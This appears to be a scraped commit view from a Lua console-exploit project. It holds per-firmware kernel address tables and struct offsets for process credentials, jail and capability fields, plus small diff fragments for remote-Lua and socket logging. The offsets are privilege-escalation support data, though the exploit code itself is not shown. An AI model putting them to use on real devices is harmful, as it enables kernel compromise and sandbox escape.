["9.05"] = { DATA_BASE=0x0CA0000, ALLPROC=0x02755D50, SECURITY_FLAGS=0x00D73064, ROOTVNODE=0x02FDB510, KERNEL_PMAP_STORE=0x02D28B78, GVMSPACE=0x02D8A570 },
["9.20"] = "9.05", ["9.40"] = "9.05", ["9.60"] = "9.05",
["10.00"] = { DATA_BASE=0x0CC0000, ALLPROC=0x02765D70, SECURITY_FLAGS=0x00D79064, ROOTVNODE=0x02FA3510, KERNEL_PMAP_STORE=0x02CF0EF8, GVMSPACE=0x02D52570 },
["10.01"] = "10.00", ["10.20"] = "10.00", ["10.40"] = "10.00", ["10.60"] = "10.00",
["11.00"] = { DATA_BASE=0x0D30000, ALLPROC=0x02875D70, SECURITY_FLAGS=0x00D8C064, ROOTVNODE=0x030B7510, KERNEL_PMAP_STORE=0x02E04F18, GVMSPACE=0x02E66570 },
["11.20"] = "11.00", ["11.40"] = "11.00", ["11.60"] = "11.00",
["12.00"] = { DATA_BASE=0x0D50000, ALLPROC=0x02885E00, SECURITY_FLAGS=0x00D83064, ROOTVNODE=0x030D7510, KERNEL_PMAP_STORE=0x02E1CFB8, GVMSPACE=0x02E7E570},
}
local struct_offsets = {
-- proc
PROC_PID = 0xBC,
PROC_UCRED = 0x40,
PROC_FD = 0x48,
PROC_VM_SPACE = 0x200,
-- ucred
UCRED_CR_UID = 0x04,
UCRED_CR_RUID = 0x08,
UCRED_CR_SVUID = 0x0C,
UCRED_CR_NGROUPS= 0x10,
UCRED_CR_RGID = 0x14,
UCRED_CR_PRISON = 0x30,
UCRED_CR_SCEAUTHID = 0x58,
UCRED_CR_SCECAPS0 = 0x60,
UCRED_CR_SCECAPS1 = 0x68,
UCRED_CR_SCEATTRS = 0x83,
-- filedesc
FILEDESC_OFILES = 0x00,
FDESCENTTBL_HDR = 8,
FILEDESCENT_SIZE= 0x30,
-- fd
FD_RDIR = 0x10,
FD_JDIR = 0x18,
KQ_FDP = 0xA8,
KL_LOCK = 0x68,
-- net
INPCB_PKTOPTS = 0x120,
IP6PO_RTHDR = 0x70,
-- pipe sigio
PIPE_SIGIO = 0xD8,
-- pmap
PMAP_CR3 = 0x28,
PMAP_PML4 = 0x20,
-- gpu vmspace
SIZEOF_GVMSPACE = 0x100,
GVMSPACE_START_VA = 0x08,
GVMSPACE_SIZE = 0x10,
GVMSPACE_PAGE_DIR = 0x38,
TARGET_ID_REL = 0x09,
QA_FLAGS_REL = 0x24,
UTOKEN_REL = 0x8C,
}
function get_offsets(fw_version)
local major, minor = fw_version:match("(%d+)%.(%d+)")
if not major then return nil end
local key = tostring(tonumber(major)) .. "." .. minor
local entry = fw_offsets[key]
for i = 1, 5 do
if type(entry) == "string" then entry = fw_offsets[entry]
else break end
end
if type(entry) ~= "table" then return nil end
local OFF = {}
for k, v in pairs(entry) do OFF[k] = v end
for k, v in pairs(struct_offsets) do OFF[k] = v end
return OFF
end
-1
View File
@@ -1,3 +1,2 @@
send_notification("Hello from remote lua!")
print("Hello from remote lua!")
File diff suppressed because it is too large. Load diff
+1
View File
@@ -34,4 +34,5 @@ if log_initialized_for ~= LOG_SERVER then
local s = str .. "\n"
syscall.sendto(log_sock, s, #s, 0, log_addr, 16)
end
ulog = print
end